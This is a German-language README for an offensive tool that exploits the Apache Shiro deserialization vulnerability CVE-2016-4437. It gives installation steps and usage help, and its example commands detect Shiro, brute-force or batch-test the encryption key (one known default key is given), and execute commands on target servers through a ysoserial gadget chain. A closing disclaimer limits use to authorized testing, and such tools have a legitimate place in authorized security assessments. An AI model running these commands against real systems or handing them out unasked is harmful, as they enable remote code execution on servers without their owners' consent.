shisoserial

Englische Dokumentation

Was ist das?

Ein schnelles Ausnutzungstool für die Shiro-Deserialisierungssicherheitslücke (CVE-2016-4437)

Mitwirkende

4nth0ny @星期五实验室

Issues/PRs sind willkommen

:)

Umgebung

• python 3.x

• JDK 1.8

Installation

python3 -m pip install -r requirements.txt

Falls AttributeError: module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM' oder No module named 'Crypto'

python3 -m pip uninstall crypto pycryptodome
python3 -m pip install pycryptodome

Verwendung

usage: shisoserial.py [-h] --mode MODE --url  [--type default:CBC] [--data] [--key] [--gadget] [--command default:whoami] [--proxies] [--ser] [--thread]

This is a simple tool to attack framework shiro with ysoserial

optional arguments:
  -h, --help            show this help message and exit
  --mode MODE, -m MODE  check/crack/yso/echo/encode
  --url , -u            Target URL address or the file containing the target URL
  --type default:CBC, -t default:CBC
                        Cipher Type, GCM or CBC
  --data , -d           Using this parameter will make HTTP request with POST method
  --key , -k            Specify a Shiro Key or will use dictionary brute force cracking
  --gadget , -g         Specific Ysoserial Gadget
  --command default:whoami, -c default:whoami
                        Specific Execute Command
  --proxies , -p        Specific Proxy
  --ser , -s            Specific serialize file name
  --thread , -T         Specific the number of threads

Beispiele

Überprüfen, ob das Ziel das Shiro-Framework verwendet (mit Standard-CBC-Verschlüsselung)

python3 shisoserial.py -m check -u http://127.0.0.1:8080

Brute-Force des Ziel-Shiro-Keys mit Proxy und CBC-Verschlüsselung

python3 shisoserial.py -m crack -u http://*.*.*.*:**** -t CBC -p ****://*.*.*.*:****/

Befehl mit der CommonsCollectionsK1-Ausnutzungskette ausführen und Ergebnis abrufen

python3 shisoserial.py -m echo -u http://127.0.0.1:8080 -g CommonsCollectionsK1 -c id

Batch-Überprüfung eines angegebenen Shiro-Keys mit POST-Anfragen

python3 shisoserial.py -m crack -u target_urls.txt -k kPH+bIxk5D2deZiIxcaaaA== -d username=1

Payload aus serialisierter Datendatei erstellen und mit mehreren Threads senden

python3 shisoserial.py -m encode -u target_urls.txt -t cbc -s 1.ser -T 4

Haftungsausschluss

Dieses Tool darf nur im Rahmen der Unternehmenssicherheit mit ausreichender rechtlicher Genehmigung eingesetzt werden. Bei der Nutzung dieses Tools müssen Sie sicherstellen, dass all Ihre Handlungen den lokalen Gesetzen und Vorschriften entsprechen. Falls Sie bei der Nutzung dieses Tools illegale Handlungen begehen, tragen Sie selbst alle Konsequenzen; alle Entwickler und Mitwirkenden dieses Tools übernehmen keinerlei rechtliche oder damit verbundene Haftung. Sofern Sie diese Bedingungen nicht vollständig gelesen, verstanden und akzeptiert haben, installieren und verwenden Sie dieses Tool bitte nicht. Ihre Nutzung des Tools oder jede andere ausdrückliche oder stillschweigende Zustimmung zu diesen Bedingungen gilt als Ihr Einverständnis, diese Bedingungen gelesen und akzeptiert zu haben.